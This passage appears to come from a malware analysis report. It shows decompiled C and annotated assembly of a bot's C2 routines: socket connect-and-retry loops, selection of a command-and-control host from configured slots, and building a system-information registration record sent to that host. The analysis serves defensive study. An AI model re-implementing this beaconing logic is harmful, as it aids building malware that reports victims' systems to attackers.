                  if (iVar4 == 0 && local_e0[0] == 0) goto LAB_00413102;
                }
              }
            }
            FUN_0041db41(iVar2);
          }
          iVar2 = 5;
          do {
            uVar1 = FUN_00419b0d(0x4d2);
            FUN_0040cb5a(uVar1);
            FUN_0041dd63(3);
            iVar2 = iVar2 + -1;
          } while (iVar2 != 0);
        }
        else {
          uVar3 = FUN_00417c6e(iVar2,3,0);
          if ((uVar3 == 0xffffffff) || (iVar4 = FUN_00417c6e(iVar2,4,uVar3 | 0x800), iVar4 == -1)) {
LAB_00412ff0:
            FUN_0041db41(iVar2);
            goto LAB_00412ff7;
          }
          iVar4 = FUN_00419689(iVar2,&local_b8,0x10);
          if (iVar4 != 0) {
            if (*piVar5 == 0x73) {
              local_d8 = 3;
              plVar7 = local_a8;
              for (lVar6 = 0x20; lVar6 != 0; lVar6 = lVar6 + -1) {
                *(undefined4 *)plVar7 = 0;
                plVar7 = (long *)((long)plVar7 + ((ulong)bVar9 * -2 + 1) * 4);
              }
              local_d0 = 0;
              local_a8[(ulong)(long)iVar2 >> 6] = 1L << ((byte)iVar2 & 0x3f);
              iVar4 = FUN_0041bf98(iVar2 + 1,0,local_a8,0,&local_d8);
              if (0 < iVar4) {
                local_e0[0] = 0;
                local_e0[1] = 4;
                iVar4 = FUN_00419ae7(iVar2,1,4,local_e0,local_e0 + 1);
                if (iVar4 == 0 && local_e0[0] == 0) goto LAB_00413102;
              }
            }
            goto LAB_00412ff0;
          }
LAB_00413102:
          FUN_0041db41(iVar2);
          FUN_0041dd63(2);
        }
      }
    }
    iVar8 = iVar8 + -1;
    if (iVar8 == 0) break;
    FUN_0041dd63(1);
  } while( true );
  DAT_0062ba28 = 0xffffffff;
  DAT_0062efd0 = DAT_0062efd0 + 1;
  if (DAT_0062efd0 < 5) {
    FUN_00412d78();
    return;
  }
  goto LAB_00412d96;
}

Assembly · 243 instructions, 1 annotated
AddressBytesInstructionComment
00412d7841 55PUSH R13
00412d7a41 54PUSH R12
00412d7c55PUSH RBP
00412d7d53PUSH RBX
00412d7e48 81 ec d8 00 00 00SUB RSP,0xd8
00412d8583 3d 44 c2 21 00 04CMP dword ptr [DAT_0062efd0],0x4
00412d8cc7 44 24 14 01 00 00 00MOV dword ptr [RSP + local_e4],0x1
00412d947e 0aJLE LAB_00412da0
LAB_00412d96:
00412d96bf 01 00 00 00MOV EDI,0x1
00412d9be8 30 d4 fe ffCALL FUN_004001d0; FUN_004001d0: unknown
LAB_00412da0:
00412da080 3d 79 8c 21 00 00CMP byte ptr [DAT_0062ba20],0x0
00412da766 c7 44 24 30 02 00MOV word ptr [RSP + local_c8],0x2
00412daec7 05 70 8c 21 00 ff ff …MOV dword ptr [DAT_0062ba28],0xffffffff
00412db88b 05 e2 c2 21 00MOV EAX,dword ptr [DAT_0062f0a0]
00412dbe74 0aJZ LAB_00412dca
00412dc0bf 01 00 00 7fMOV EDI,0x7f000001
00412dc5e8 3e 6d 00 00CALL FUN_00419b08
LAB_00412dca:
00412dcabf d2 04 00 00MOV EDI,0x4d2
00412dcf89 44 24 34MOV dword ptr [RSP + local_c4],EAX
00412dd341 bc 1a 00 00 00MOV R12D,0x1a
00412dd94c 8d 6c 24 14LEA R13,[RSP + 0x14]
00412ddee8 2a 6d 00 00CALL FUN_00419b0d
00412de366 89 44 24 32MOV word ptr [RSP + local_c6],AX
LAB_00412de8:
00412de8bf 02 00 00 00MOV EDI,0x2
00412ded31 d2XOR EDX,EDX
00412defbe 01 00 00 00MOV ESI,0x1
00412df4e8 0a 8e 00 00CALL FUN_0041bc03
00412df989 05 29 8c 21 00MOV dword ptr [DAT_0062ba28],EAX
00412dff89 c7MOV EDI,EAX
00412e0183 f8 ffCMP EAX,-0x1
00412e040f 84 37 03 00 00JZ LAB_00413141
00412e0a41 b8 04 00 00 00MOV R8D,0x4
00412e104c 89 e9MOV RCX,R13
00412e13ba 02 00 00 00MOV EDX,0x2
00412e18be 01 00 00 00MOV ESI,0x1
00412e1de8 bd 8d 00 00CALL FUN_0041bbdf
00412e228b 3d 00 8c 21 00MOV EDI,dword ptr [DAT_0062ba28]
00412e2831 d2XOR EDX,EDX
00412e2a31 c0XOR EAX,EAX
00412e2cbe 03 00 00 00MOV ESI,0x3
00412e31e8 38 4e 00 00CALL FUN_00417c6e
00412e368b 3d ec 8b 21 00MOV EDI,dword ptr [DAT_0062ba28]
00412e3cbe 04 00 00 00MOV ESI,0x4
00412e4180 cc 08OR AH,0x8
00412e4489 c2MOV EDX,EAX
00412e4631 c0XOR EAX,EAX
00412e48e8 21 4e 00 00CALL FUN_00417c6e
00412e4d8b 3d d5 8b 21 00MOV EDI,dword ptr [DAT_0062ba28]
00412e5348 8d 74 24 30LEA RSI,[RSP + 0x30]
00412e58ba 10 00 00 00MOV EDX,0x10
00412e5de8 07 68 00 00CALL FUN_00419669
00412e628b 3d c0 8b 21 00MOV EDI,dword ptr [DAT_0062ba28]
00412e6885 c0TEST EAX,EAX
00412e6a75 37JNZ LAB_00412ea3
00412e6cbe 01 00 00 00MOV ESI,0x1
00412e71e8 b8 72 00 00CALL FUN_0041a12e
00412e7685 c0TEST EAX,EAX
00412e7875 0fJNZ LAB_00412e89
00412e7ac7 05 4c c1 21 00 00 00 …MOV dword ptr [DAT_0062efd0],0x0
00412e84e9 f2 02 00 00JMP LAB_0041317b
LAB_00412e89:
00412e898b 3d 99 8b 21 00MOV EDI,dword ptr [DAT_0062ba28]
00412e8fe8 ad ac 00 00CALL FUN_0041db41
00412e94c7 05 8a 8b 21 00 ff ff …MOV dword ptr [DAT_0062ba28],0xffffffff
00412e9ee9 9e 02 00 00JMP LAB_00413141
LAB_00412ea3:
00412ea389 7c 24 0cMOV dword ptr [RSP + local_ec],EDI
00412ea7e8 90 4d 00 00CALL FUN_00417c3c
00412eac8b 7c 24 0cMOV EDI,dword ptr [RSP + local_ec]
00412eb083 38 63CMP dword ptr [RAX],0x63
00412eb348 89 c3MOV RBX,RAX
00412eb675 10JNZ LAB_00412ec8
00412eb880 3d 61 8b 21 00 00CMP byte ptr [DAT_0062ba20],0x0
00412ebf74 07JZ LAB_00412ec8
00412ec1c6 05 58 8b 21 00 00MOV byte ptr [DAT_0062ba20],0x0
LAB_00412ec8:
00412ec8e8 74 ac 00 00CALL FUN_0041db41
00412ecdbf d2 04 00 00MOV EDI,0x4d2
00412ed2c7 05 4c 8b 21 00 ff ff …MOV dword ptr [DAT_0062ba28],0xffffffff
00412edc66 c7 44 24 40 02 00MOV word ptr [RSP + local_b8],0x2
00412ee3e8 25 6c 00 00CALL FUN_00419b0d
00412ee8bf 01 00 00 7fMOV EDI,0x7f000001
00412eed66 89 44 24 42MOV word ptr [RSP + local_b6],AX
00412ef2e8 11 6c 00 00CALL FUN_00419b08
00412ef731 d2XOR EDX,EDX
00412ef9be 01 00 00 00MOV ESI,0x1
00412efebf 02 00 00 00MOV EDI,0x2
00412f0389 44 24 44MOV dword ptr [RSP + local_b4],EAX
00412f07e8 f7 8c 00 00CALL FUN_0041bc03
00412f0c89 c5MOV EBP,EAX
00412f0e83 f8 ffCMP EAX,-0x1
00412f110f 84 e0 00 00 00JZ LAB_00412ff7
00412f1731 d2XOR EDX,EDX
00412f1989 c7MOV EDI,EAX
00412f1bbe 03 00 00 00MOV ESI,0x3
00412f2031 c0XOR EAX,EAX
00412f22e8 47 4d 00 00CALL FUN_00417c6e
00412f2783 f8 ffCMP EAX,-0x1
00412f2a0f 84 c0 00 00 00JZ LAB_00412ff0
00412f3080 cc 08OR AH,0x8
00412f33be 04 00 00 00MOV ESI,0x4
00412f3889 efMOV EDI,EBP
00412f3a89 c2MOV EDX,EAX
00412f3c31 c0XOR EAX,EAX
00412f3ee8 2b 4d 00 00CALL FUN_00417c6e
00412f43ff c0INC EAX
00412f450f 84 a5 00 00 00JZ LAB_00412ff0
00412f4b48 8d 74 24 40LEA RSI,[RSP + 0x40]
00412f50ba 10 00 00 00MOV EDX,0x10
00412f5589 efMOV EDI,EBP
00412f57e8 2d 67 00 00CALL FUN_00419689
00412f5c85 c0TEST EAX,EAX
00412f5e0f 84 9e 01 00 00JZ LAB_00413102
00412f6483 3b 73CMP dword ptr [RBX],0x73
00412f670f 85 83 00 00 00JNZ LAB_00412ff0
00412f6d48 8d 54 24 50LEA RDX,[RSP + 0x50]
00412f7231 c0XOR EAX,EAX
00412f74b9 20 00 00 00MOV ECX,0x20
00412f79be 01 00 00 00MOV ESI,0x1
00412f7e48 89 d7MOV RDI,RDX
00412f814c 8d 44 24 20LEA R8,[RSP + 0x20]
00412f8648 c7 44 24 20 03 00 00 …MOV qword ptr [RSP + local_d8],0x3
00412f8ff3 abSTOSD.REP RDI
00412f9189 e9MOV ECX,EBP
00412f9348 63 c5MOVSXD RAX,EBP
00412f968d 7d 01LEA EDI,[RBP + 0x1]
00412f9948 c7 44 24 28 00 00 00 …MOV qword ptr [RSP + local_d0],0x0
00412fa248 d3 e6SHL RSI,CL
00412fa548 c1 e8 06SHR RAX,0x6
00412fa931 c9XOR ECX,ECX
00412fab48 89 74 c4 50MOV qword ptr [RSP + RAX*0x8 + 0x50],RSI
00412fb031 f6XOR ESI,ESI
00412fb2e8 e1 8f 00 00CALL FUN_0041bf98
00412fb785 c0TEST EAX,EAX
00412fb97e 35JLE LAB_00412ff0
00412fbb48 8d 4c 24 18LEA RCX,[RSP + 0x18]
00412fc04c 8d 44 24 1cLEA R8,[RSP + 0x1c]
00412fc5ba 04 00 00 00MOV EDX,0x4
00412fca89 efMOV EDI,EBP
00412fccbe 01 00 00 00MOV ESI,0x1
00412fd1c7 44 24 18 00 00 00 00MOV dword ptr [RSP + local_e0],0x0
00412fd9c7 44 24 1c 04 00 00 00MOV dword ptr [RSP + local_dc],0x4
00412fe1e8 01 6b 00 00CALL FUN_00419ae7
00412fe60b 44 24 18OR EAX,dword ptr [RSP + local_e0]
00412fea0f 84 12 01 00 00JZ LAB_00413102
LAB_00412ff0:
00412ff089 efMOV EDI,EBP
00412ff2e8 4a ab 00 00CALL FUN_0041db41
LAB_00412ff7:
00412ff78b 05 a3 c0 21 00MOV EAX,dword ptr [DAT_0062f0a0]
00412ffd39 44 24 34CMP dword ptr [RSP + local_c4],EAX
004130010f 84 15 01 00 00JZ LAB_0041311c
0041300731 d2XOR EDX,EDX
00413009be 01 00 00 00MOV ESI,0x1
0041300ebf 02 00 00 00MOV EDI,0x2
00413013e8 eb 8b 00 00CALL FUN_0041bc03
0041301889 c5MOV EBP,EAX
0041301a83 f8 ffCMP EAX,-0x1
0041301d0f 84 f9 00 00 00JZ LAB_0041311c
004130238b 05 77 c0 21 00MOV EAX,dword ptr [DAT_0062f0a0]
0041302931 d2XOR EDX,EDX
0041302bbe 03 00 00 00MOV ESI,0x3
0041303089 efMOV EDI,EBP
0041303289 44 24 44MOV dword ptr [RSP + local_b4],EAX
0041303631 c0XOR EAX,EAX
00413038e8 31 4c 00 00CALL FUN_00417c6e
0041303d83 f8 ffCMP EAX,-0x1
004130400f 84 cf 00 00 00JZ LAB_00413115
0041304680 cc 08OR AH,0x8
00413049be 04 00 00 00MOV ESI,0x4
0041304e89 efMOV EDI,EBP
0041305089 c2MOV EDX,EAX
0041305231 c0XOR EAX,EAX
00413054e8 15 4c 00 00CALL FUN_00417c6e
00413059ff c0INC EAX
0041305b0f 84 b4 00 00 00JZ LAB_00413115
0041306148 8d 74 24 40LEA RSI,[RSP + 0x40]
00413066ba 10 00 00 00MOV EDX,0x10
0041306b89 efMOV EDI,EBP
0041306de8 17 66 00 00CALL FUN_00419689
0041307285 c0TEST EAX,EAX
004130740f 84 88 00 00 00JZ LAB_00413102
0041307a83 3b 73CMP dword ptr [RBX],0x73
0041307d0f 85 92 00 00 00JNZ LAB_00413115
0041308348 8d 54 24 50LEA RDX,[RSP + 0x50]
0041308831 c0XOR EAX,EAX
0041308ab9 20 00 00 00MOV ECX,0x20
0041308fbe 01 00 00 00MOV ESI,0x1
0041309448 89 d7MOV RDI,RDX
004130974c 8d 44 24 20LEA R8,[RSP + 0x20]
0041309c48 c7 44 24 20 02 00 00 …MOV qword ptr [RSP + local_d8],0x2
004130a5f3 abSTOSD.REP RDI
004130a789 e9MOV ECX,EBP
004130a948 63 c5MOVSXD RAX,EBP
004130ac8d 7d 01LEA EDI,[RBP + 0x1]
004130af48 c7 44 24 28 00 00 00 …MOV qword ptr [RSP + local_d0],0x0
004130b848 d3 e6SHL RSI,CL
004130bb48 c1 e8 06SHR RAX,0x6
004130bf31 c9XOR ECX,ECX
004130c148 89 74 c4 50MOV qword ptr [RSP + RAX*0x8 + 0x50],RSI
004130c631 f6XOR ESI,ESI
004130c8e8 cb 8e 00 00CALL FUN_0041bf98
004130cd85 c0TEST EAX,EAX
004130cf7e 44JLE LAB_00413115
004130d148 8d 4c 24 18LEA RCX,[RSP + 0x18]
004130d64c 8d 44 24 1cLEA R8,[RSP + 0x1c]
004130dbba 04 00 00 00MOV EDX,0x4
004130e089 efMOV EDI,EBP
004130e2be 01 00 00 00MOV ESI,0x1
004130e7c7 44 24 18 00 00 00 00MOV dword ptr [RSP + local_e0],0x0
004130efc7 44 24 1c 04 00 00 00MOV dword ptr [RSP + local_dc],0x4
004130f7e8 eb 69 00 00CALL FUN_00419ae7
004130fc0b 44 24 18OR EAX,dword ptr [RSP + local_e0]
0041310075 13JNZ LAB_00413115
LAB_00413102:
0041310289 efMOV EDI,EBP
00413104e8 38 aa 00 00CALL FUN_0041db41
00413109bf 02 00 00 00MOV EDI,0x2
0041310ee8 50 ac 00 00CALL FUN_0041dd63
00413113eb 2cJMP LAB_00413141
LAB_00413115:
0041311589 efMOV EDI,EBP
00413117e8 25 aa 00 00CALL FUN_0041db41
LAB_0041311c:
0041311cbb 05 00 00 00MOV EBX,0x5
LAB_00413121:
00413121bf d2 04 00 00MOV EDI,0x4d2
00413126e8 e2 69 00 00CALL FUN_00419b0d
0041312b0f b7 f8MOVZX EDI,AX
0041312ee8 27 9a ff ffCALL FUN_0040cb5a
00413133bf 03 00 00 00MOV EDI,0x3
00413138e8 26 ac 00 00CALL FUN_0041dd63
0041313dff cbDEC EBX
0041313f75 e0JNZ LAB_00413121
LAB_00413141:
0041314141 ff ccDEC R12D
0041314474 0fJZ LAB_00413155
00413146bf 01 00 00 00MOV EDI,0x1
0041314be8 13 ac 00 00CALL FUN_0041dd63
00413150e9 93 fc ff ffJMP LAB_00412de8
LAB_00413155:
00413155c7 05 c9 88 21 00 ff ff …MOV dword ptr [DAT_0062ba28],0xffffffff
0041315f8b 05 6b be 21 00MOV EAX,dword ptr [DAT_0062efd0]
00413165ff c0INC EAX
0041316789 05 63 be 21 00MOV dword ptr [DAT_0062efd0],EAX
0041316d83 f8 04CMP EAX,0x4
004131700f 8f 20 fc ff ffJG LAB_00412d96
00413176e8 fd fb ff ffCALL FUN_00412d78
LAB_0041317b:
0041317b48 81 c4 d8 00 00 00ADD RSP,0xd8
004131825bPOP RBX
004131835dPOP RBP
0041318441 5cPOP R12
0041318641 5dPOP R13
00413188c3RET

selects the C2 host from store slots…

0x413189327 bytes
undefined FUN_00413189()

selects the C2 host from store slots 0-7 and resolves up to 32 addresses

Cited as
E29
Behaviours
B6
Called from
FUN_004001d0
Calls
FUN_00414172, FUN_004143a1, FUN_004143ae
Decompiled C · 68 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_00413189(char param_1)

{
  char *pcVar1;
  byte bVar2;
  int iVar3;
  byte *pbVar4;
  uint uVar5;
  int iVar6;
  uint uVar7;
  long lVar8;
  long lVar9;
  
  _DAT_0062efe0 = 0;
  DAT_0062efe2 = 0;
  DAT_0062efe4 = 0;
  bVar2 = DAT_0062efd8;
  if (param_1 != '\0') {
    iVar6 = 1;
    do {
      pcVar1 = *(char **)(DAT_0062e6f0 + (ulong)((uint)DAT_0062efd8 + iVar6 & 7) * 0x10);
      if ((pcVar1 != (char *)0x0) &&
         (bVar2 = (byte)((uint)DAT_0062efd8 + iVar6) & 7, *pcVar1 != '\0')) break;
      iVar6 = iVar6 + 1;
      bVar2 = DAT_0062efd8;
    } while (iVar6 != 9);
  }
  DAT_0062efd8 = bVar2;
  uVar7 = (uint)DAT_0062efd8;
  iVar6 = 0;
  do {
    pcVar1 = *(char **)((ulong)(iVar6 + uVar7 & 7) * 0x10 + DAT_0062e6f0);
    if (((pcVar1 != (char *)0x0) && (*pcVar1 != '\0')) &&
       (pbVar4 = (byte *)FUN_004143a1(), pbVar4 != (byte *)0x0)) {
      bVar2 = DAT_0062efd8;
      if (*pbVar4 != 0) {
        for (lVar9 = 0; bVar2 = (byte)(iVar6 + uVar7) & 7, (int)lVar9 < (int)(uint)*pbVar4;
            lVar9 = lVar9 + 1) {
          iVar3 = FUN_004143ae(*(undefined4 *)(*(long *)(pbVar4 + 8) + lVar9 * 4));
          if (iVar3 != 0) {
            uVar5 = (uint)DAT_0062efe1;
            lVar8 = 0;
            do {
              if ((int)uVar5 <= (int)lVar8) {
                if (DAT_0062efe1 != 0x20) {
                  _DAT_0062efe0 = CONCAT11(DAT_0062efe1 + 1,1);
                  (&DAT_0062efe8)[(int)uVar5] = iVar3;
                }
                break;
              }
              lVar8 = lVar8 + 1;
            } while (iVar3 != (&DAT_0062efe4)[lVar8]);
          }
        }
      }
      DAT_0062efd8 = bVar2;
      FUN_00414172(pbVar4);
    }
    iVar6 = iVar6 + 1;
    if ((iVar6 == 8) || (DAT_0062efe0 != '\0')) {
      return;
    }
  } while( true );
}

Assembly · 95 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0041318941 57PUSH R15; E29
0041318b41 56PUSH R14
0041318d41 55PUSH R13
0041318f41 54PUSH R12
0041319155PUSH RBP
0041319253PUSH RBX
0041319351PUSH RCX
0041319466 c7 05 43 be 21 00 00 …MOV word ptr [DAT_0062efe0],0x0
0041319dc6 05 3e be 21 00 00MOV byte ptr [DAT_0062efe2],0x0
004131a4c7 05 36 be 21 00 00 00 …MOV dword ptr [DAT_0062efe4],0x0
004131ae40 84 ffTEST DIL,DIL
004131b174 3fJZ LAB_004131f2
004131b30f b6 35 1e be 21 00MOVZX ESI,byte ptr [DAT_0062efd8]
004131ba48 8b 3d 2f b5 21 00MOV RDI,qword ptr [DAT_0062e6f0]
004131c1ba 01 00 00 00MOV EDX,0x1
LAB_004131c6:
004131c68d 04 16LEA EAX,[RSI + RDX*0x1]
004131c989 c1MOV ECX,EAX
004131cb83 e0 07AND EAX,0x7
004131ce48 c1 e0 04SHL RAX,0x4
004131d283 e1 07AND ECX,0x7
004131d548 8b 04 07MOV RAX,qword ptr [RDI + RAX*0x1]
004131d948 85 c0TEST RAX,RAX
004131dc74 05JZ LAB_004131e3
004131de80 38 00CMP byte ptr [RAX],0x0
004131e175 09JNZ LAB_004131ec
LAB_004131e3:
004131e3ff c2INC EDX
004131e583 fa 09CMP EDX,0x9
004131e875 dcJNZ LAB_004131c6
004131ea89 f1MOV ECX,ESI
LAB_004131ec:
004131ec88 0d e6 bd 21 00MOV byte ptr [DAT_0062efd8],CL
LAB_004131f2:
004131f20f b6 2d df bd 21 00MOVZX EBP,byte ptr [DAT_0062efd8]
004131f931 dbXOR EBX,EBX
LAB_004131fb:
004131fb8d 04 2bLEA EAX,[RBX + RBP*0x1]
004131fe41 89 c4MOV R12D,EAX
0041320183 e0 07AND EAX,0x7
0041320448 c1 e0 04SHL RAX,0x4
0041320848 03 05 e1 b4 21 00ADD RAX,qword ptr [DAT_0062e6f0]
0041320f41 83 e4 07AND R12D,0x7
0041321348 8b 38MOV RDI,qword ptr [RAX]
0041321648 85 ffTEST RDI,RDI
004132190f 84 90 00 00 00JZ LAB_004132af
0041321f80 3f 00CMP byte ptr [RDI],0x0
004132220f 84 87 00 00 00JZ LAB_004132af
00413228e8 74 11 00 00CALL FUN_004143a1
0041322d49 89 c5MOV R13,RAX
0041323048 85 c0TEST RAX,RAX
0041323374 7aJZ LAB_004132af
0041323580 38 00CMP byte ptr [RAX],0x0
0041323874 6dJZ LAB_004132a7
0041323a45 31 f6XOR R14D,R14D
0041323d4c 8d 3d a0 bd 21 00LEA R15,[DAT_0062efe4]
LAB_00413244:
0041324441 0f b6 45 00MOVZX EAX,byte ptr [R13]
0041324944 39 f0CMP EAX,R14D
0041324c7e 52JLE LAB_004132a0
0041324e49 8b 45 08MOV RAX,qword ptr [R13 + 0x8]
0041325242 8b 3c b0MOV EDI,dword ptr [RAX + R14*0x4]
00413256e8 53 11 00 00CALL FUN_004143ae
0041325b85 c0TEST EAX,EAX
0041325d74 3cJZ LAB_0041329b
0041325f0f b6 0d 7b bd 21 00MOVZX ECX,byte ptr [DAT_0062efe1]
0041326631 f6XOR ESI,ESI
0041326889 caMOV EDX,ECX
LAB_0041326a:
0041326a39 f1CMP ECX,ESI
0041326c7e 0bJLE LAB_00413279
0041326e48 ff c6INC RSI
0041327141 3b 04 b7CMP EAX,dword ptr [R15 + RSI*0x4]
0041327575 f3JNZ LAB_0041326a
00413277eb 22JMP LAB_0041329b
LAB_00413279:
0041327980 fa 20CMP DL,0x20
0041327c74 1dJZ LAB_0041329b
0041327eff c2INC EDX
0041328048 63 c9MOVSXD RCX,ECX
00413283c6 05 56 bd 21 00 01MOV byte ptr [DAT_0062efe0],0x1
0041328a88 15 51 bd 21 00MOV byte ptr [DAT_0062efe1],DL
0041329048 8d 15 49 bd 21 00LEA RDX,[DAT_0062efe0]
0041329789 44 8a 08MOV dword ptr [RDX + RCX*0x4 + 0x8],EAX
LAB_0041329b:
0041329b49 ff c6INC R14
0041329eeb a4JMP LAB_00413244
LAB_004132a0:
004132a044 88 25 31 bd 21 00MOV byte ptr [DAT_0062efd8],R12B
LAB_004132a7:
004132a74c 89 efMOV RDI,R13
004132aae8 c3 0e 00 00CALL FUN_00414172
LAB_004132af:
004132afff c3INC EBX
004132b18a 05 29 bd 21 00MOV AL,byte ptr [DAT_0062efe0]
004132b783 fb 08CMP EBX,0x8
004132ba74 08JZ LAB_004132c4
004132bc84 c0TEST AL,AL
004132be0f 84 37 ff ff ffJZ LAB_004131fb
LAB_004132c4:
004132c45aPOP RDX
004132c55bPOP RBX
004132c65dPOP RBP
004132c741 5cPOP R12
004132c941 5dPOP R13
004132cb41 5ePOP R14
004132cd41 5fPOP R15
004132cfc3RET

builds the registration record with…

0x4132d01512 bytes
undefined FUN_004132d0()

builds the registration record with system information and sends it inside the session hello

Cited as
E14, E31
Behaviours
B6, B7
Called from
FUN_004001d0
Calls
thunk_FUN_0040d215, FUN_00411926, FUN_00411a32, FUN_00411c7d, FUN_0041233f, FUN_00412511, FUN_00412649, FUN_00412c0d, FUN_00412c9a, FUN_004175f0, FUN_004194f7, FUN_00419b0d, FUN_0041c306, FUN_0041c4d7, FUN_0041c633, FUN_0041c853, FUN_0041cf00, FUN_0041cfd0, FUN_0041d050, FUN_0041d540, FUN_0041daf0, FUN_0041dc31
Decompiled C · 221 lines
void FUN_004132d0(undefined4 param_1,undefined1 *param_2)

{
  byte bVar1;
  char cVar2;
  undefined2 uVar3;
  int iVar4;
  int iVar5;
  long lVar6;
  long lVar7;
  char *pcVar8;
  char *pcVar9;
  long lVar10;
  long lVar11;
  ulong uVar12;
  ulong uVar13;
  undefined1 *puVar14;
  undefined1 *puVar15;
  undefined1 *puVar16;
  ulong *puVar17;
  ulong uVar18;
  ulong uVar19;
  byte bVar20;
  undefined1 local_5b8 [63];
  undefined1 local_579;
  byte local_578;
  undefined1 local_577 [255];
  ulong local_478 [2];
  byte local_465;
  undefined1 local_464 [492];
  undefined1 local_278 [260];
  char local_174 [324];
  
  bVar20 = 0;
  iVar4 = FUN_00412511();
  if (iVar4 == 0) goto LAB_00413836;
  FUN_00412649();
  iVar4 = 0;
  bVar1 = FUN_0041cf00(param_2);
  lVar6 = FUN_0041c633(*(undefined8 *)(DAT_0062e6f0 + 0xde0),&DAT_00424f7e);
  if (lVar6 == 0) {
LAB_00413388:
    lVar6 = FUN_004175f0(0x54);
    iVar4 = 1;
    if (lVar6 - 1U < 0xff) {
      iVar4 = (int)lVar6;
    }
  }
  else {
    while (lVar7 = FUN_0041c4d7(local_278,0x100,lVar6), lVar7 != 0) {
      if (0 < *(int *)(DAT_0062e6f0 + 0xe48)) {
        iVar5 = FUN_0041cfd0(local_278,*(undefined8 *)(DAT_0062e6f0 + 0xe40));
        iVar4 = iVar4 + (uint)(iVar5 == 0);
      }
    }
    FUN_0041c306(lVar6);
    if (0xfe < iVar4 - 1U) goto LAB_00413388;
  }
  lVar6 = FUN_0041c633(*(undefined8 *)(DAT_0062e6f0 + 0xdf0),&DAT_00424f7e);
  if (lVar6 == 0) {
LAB_0041343d:
    lVar6 = FUN_004175f0(0x55);
    lVar7 = FUN_004175f0(0x1e);
    if ((lVar6 < 1) || (lVar7 < 1)) {
      uVar18 = 0x400;
    }
    else {
      if ((ulong)(lVar7 * lVar6) < 0x1000000000) {
        uVar12 = (ulong)(lVar7 * lVar6) >> 0x14;
        uVar18 = 0x400;
        if (uVar12 == 0) goto LAB_0041348f;
      }
      else {
        uVar12 = 0xffff;
      }
      uVar18 = uVar12 & 0xffffffff;
    }
  }
  else {
    local_478[0] = 0;
    do {
      lVar7 = FUN_0041c4d7(local_278,0x100,lVar6);
      if (lVar7 == 0) break;
      lVar7 = FUN_00412c0d(0x1b2);
    } while ((lVar7 == 0) || (iVar5 = FUN_0041c853(local_278,lVar7,local_478), iVar5 != 1));
    FUN_0041c306(lVar6);
    if (local_478[0] == 0) goto LAB_0041343d;
    uVar18 = 0xffff;
    if (local_478[0] < 0x4000000) {
      uVar18 = local_478[0] >> 10;
    }
  }
LAB_0041348f:
  pcVar8 = (char *)FUN_00412c0d(0x14f);
  if (((pcVar8 == (char *)0x0) || (*pcVar8 == '/')) || (pcVar9 = pcVar8, *pcVar8 == '\0')) {
LAB_004134e6:
    iVar5 = FUN_004194f7(local_278);
    pcVar8 = local_174;
    if (iVar5 == 0) goto LAB_00413700;
    lVar6 = FUN_0041c633(*(undefined8 *)(DAT_0062e6f0 + 0xe00),&DAT_00424f7e);
    if (lVar6 == 0) {
      pcVar8 = *(char **)(DAT_0062e6f0 + 0xfb0);
      goto LAB_00413700;
    }
    lVar10 = FUN_0041c4d7(local_278,0x200,lVar6);
    lVar7 = DAT_0062e6f0;
    if ((lVar10 == 0) ||
       ((((((lVar10 = *(long *)(DAT_0062e6f0 + 0xf00), lVar10 == 0 ||
            (lVar11 = FUN_0041d540(local_278), lVar11 == 0)) &&
           ((lVar10 = *(long *)(lVar7 + 0xf10), lVar10 == 0 ||
            (lVar11 = FUN_0041d540(local_278), lVar11 == 0)))) &&
          ((lVar10 = *(long *)(lVar7 + 0xf20), lVar10 == 0 ||
           (lVar11 = FUN_0041d540(local_278), lVar11 == 0)))) &&
         (((lVar10 = *(long *)(lVar7 + 0xf30), lVar10 == 0 ||
           (lVar11 = FUN_0041d540(local_278), lVar11 == 0)) &&
          ((((lVar10 = *(long *)(lVar7 + 0xf40), lVar10 == 0 ||
             (lVar11 = FUN_0041d540(local_278), lVar11 == 0)) &&
            ((lVar10 = *(long *)(lVar7 + 0xf50), lVar10 == 0 ||
             (lVar11 = FUN_0041d540(local_278), lVar11 == 0)))) &&
           ((lVar10 = *(long *)(lVar7 + 0xf60), lVar10 == 0 ||
            (lVar11 = FUN_0041d540(local_278), lVar11 == 0)))))))) &&
        (((lVar10 = *(long *)(lVar7 + 0xf70), lVar10 == 0 ||
          (lVar11 = FUN_0041d540(local_278), lVar11 == 0)) &&
         ((((lVar10 = *(long *)(lVar7 + 0xf80), lVar10 == 0 ||
            (lVar11 = FUN_0041d540(local_278), lVar11 == 0)) &&
           ((lVar10 = *(long *)(lVar7 + 0xf90), lVar10 == 0 ||
            (lVar11 = FUN_0041d540(local_278), lVar11 == 0)))) &&
          ((lVar10 = *(long *)(lVar7 + 4000), lVar10 == 0 ||
           (lVar11 = FUN_0041d540(local_278), lVar11 == 0)))))))))) {
      lVar10 = *(long *)(lVar7 + 0xfb0);
    }
    FUN_0041d050(local_5b8,lVar10,0x3f);
    local_579 = 0;
    FUN_0041c306(lVar6);
  }
  else {
    for (; cVar2 = *pcVar9, cVar2 != '\0'; pcVar9 = pcVar9 + 1) {
      if ((0x19 < (byte)(cVar2 + 0x9fU)) &&
         ((0x32 < (byte)(cVar2 - 0x2dU) || ((-0x4000000001ffc >> (cVar2 - 0x2dU & 0x3f) & 1U) != 0))
         )) goto LAB_004134e6;
    }
LAB_00413700:
    FUN_0041d050(local_5b8,pcVar8,0x3f);
    local_579 = 0;
  }
  uVar12 = FUN_0041cf00(local_5b8);
  iVar5 = FUN_0041dc31();
  puVar17 = local_478;
  for (lVar6 = 0x80; lVar6 != 0; lVar6 = lVar6 + -1) {
    *(undefined4 *)puVar17 = 0;
    puVar17 = (ulong *)((long)puVar17 + (ulong)bVar20 * -8 + 4);
  }
  lVar6 = FUN_0041233f(local_478,0x200);
  if (lVar6 == 0x13) {
    uVar19 = (ulong)bVar1;
    puVar15 = param_2;
    puVar16 = local_464;
    for (uVar13 = uVar19; uVar13 != 0; uVar13 = uVar13 - 1) {
      *puVar16 = *puVar15;
      puVar15 = puVar15 + (ulong)bVar20 * -2 + 1;
      puVar16 = puVar16 + (ulong)bVar20 * -2 + 1;
    }
    *puVar16 = (char)iVar4;
    local_465 = bVar1;
    uVar3 = FUN_00419b0d(uVar18 & 0xffff);
    *(undefined2 *)(puVar16 + 1) = uVar3;
    puVar16[3] = (char)uVar12;
    puVar15 = local_5b8;
    puVar14 = puVar16 + 4;
    for (uVar18 = uVar12 & 0xffffffff; uVar18 != 0; uVar18 = uVar18 - 1) {
      *puVar14 = *puVar15;
